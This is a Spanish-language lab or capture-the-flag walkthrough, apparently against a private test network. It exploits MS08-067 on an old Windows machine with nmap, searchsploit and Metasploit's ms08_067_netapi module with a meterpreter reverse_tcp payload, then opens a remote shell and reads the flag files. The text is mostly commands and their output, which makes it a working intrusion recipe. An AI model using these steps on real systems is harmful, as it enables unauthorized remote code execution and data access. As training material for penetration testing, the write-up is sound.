

# Comandos para vulnerabilidad con metaexploit\_Experience

IP local: 10.0.22.4

IP remota: 10.0.22.6

## **Abrimos consola**

- netdiscover -r 10.0.22.0/24
  - *Descubrimos que ip sale que no es usual*
- nmap -p445 --script="smb-vuln-\*" 10.0.22.6
- **PROBAMOS EL WIN7BLUE**
- cd /home/user/Desktop/Win7Blue
- chmod +x Win7Blue
- ./Win7Blue
  - \$:1
  - RHOST: (Ip remota u del objeto)
- ./Win7Blue
  - \$: 4 (o 3, dependiendo de la arquitectura del sistema)
  - RHOST: (ip remota u objetivo)
  - LHOST(ip local, ya sea kali o host usado)
  - LPORT: (puerto en escucha de la consola abierta)
  - *Darle a enter*
- Vemos que no funciona este método, así que recurrimos al otro con el metasploit:
- Buscamos la vulnerabilidad con el comando nmap:
- nmap -p445 --script="smb-vuln-\*" 10.0.22.6
- **Microsoft Windows system vulnerable to remote code execution (MS08-067)**
- searchsploit MS08-067

Exploit Title	Path
Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)	windows/remote/40279.py
Microsoft Windows Server - Code Execution (MS08-067)	windows/remote/7104.c
Microsoft Windows Server - Code Execution (PoC) (MS08-067)	windows/dos/6824.txt
Microsoft Windows Server - Service Relative Path Stack Corruption (MS08-067) (Metasploit)	windows/remote/15502.rb
Microsoft Windows Server - Universal Code Execution (MS08-067)	windows/remote/6841.txt
Microsoft Windows Server 2000/2003 - Code Execution (MS08-067)	windows/remote/7132.py

- msfconsole
- search MS08-067
- use 0
- show options

```
Module options (exploit/windows/smb/ms08_067_netapi):


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                                                                                                                          |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)                                                                                                                                                              |


Payload options (windows/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.0.22.4       | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


```

- set rhosts 10.0.22.6
- show options

```
Module options (exploit/windows/smb/ms08_067_netapi):


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS  | 10.0.22.6       | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                                                                                                                          |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)                                                                                                                                                              |


Payload options (windows/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.0.22.4       | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


```

- Exploit:
  - En este caso, no funciona ya que no se puede llegar, así que se hará una modificación de los puertos locales:

```
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 6969
LPORT => 6969
```

- Exploit:
  - De nuevo no funciona, así que le cambiamos de nuevo el puerto:

```
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 5555
LPORT => 5555
```

- Exploit
  - En este caso, ya ha funcionado.
- Cuando sale el meterpreter:
- shell
- En este momento, ya hemos entrado al shell de la máquina vulnerable
- dir

```
01/20/2024 08:36 PM 0 AUTOEXEC.BAT
01/20/2024 08:36 PM 0 CONFIG.SYS
01/20/2024 11:38 AM <DIR> Documents and Settings
01/20/2024 11:38 AM <DIR> Program Files
01/20/2024 08:43 PM <DIR> WINDOWS
2 File(s) 0 bytes
3 Dir(s) 7,841,169,408 bytes free
```

- dir C:\
- cd C:\Documents and Settings

- dir C:\Documents and Settings

```
01/20/2024 11:38 AM <DIR> .
01/20/2024 11:38 AM <DIR> ..
01/20/2024 08:36 PM <DIR> All Users
01/20/2024 11:38 AM <DIR> bill
                0 File(s)          0 bytes
                4 Dir(s)  7,840,808,960 bytes free
```

- cd C:\Documents and Settings\bill
- dir C:\Documents and Settings\bill

```
01/20/2024 11:38 AM <DIR> .
01/20/2024 11:38 AM <DIR> ..
01/21/2024 12:41 PM <DIR> Desktop
01/20/2024 11:38 AM <DIR> Favorites
01/20/2024 11:38 AM <DIR> My Documents
01/20/2024 12:33 PM <DIR> Start Menu
                0 File(s)          0 bytes
                6 Dir(s)  7,840,342,016 bytes free
```

- C:\Documents and Settings\bill\Desktop

```
01/21/2024 12:41 PM <DIR> .
01/21/2024 12:41 PM <DIR> ..
01/21/2024 12:41 PM          35 root.txt
01/21/2024 12:41 PM          35 user.txt
                2 File(s)          70 bytes
                2 Dir(s)  7,840,342,016 bytes free
```

- type root.txt
- type user.txt

```
C:\Documents and Settings\bill\Desktop>type root.txt
type root.txt
c1d5e7e4efece4a6022c4a4080c8114d

C:\Documents and Settings\bill\Desktop>type user.txt
type user.txt
f9e24c8da0686680decee9e594178a2e
```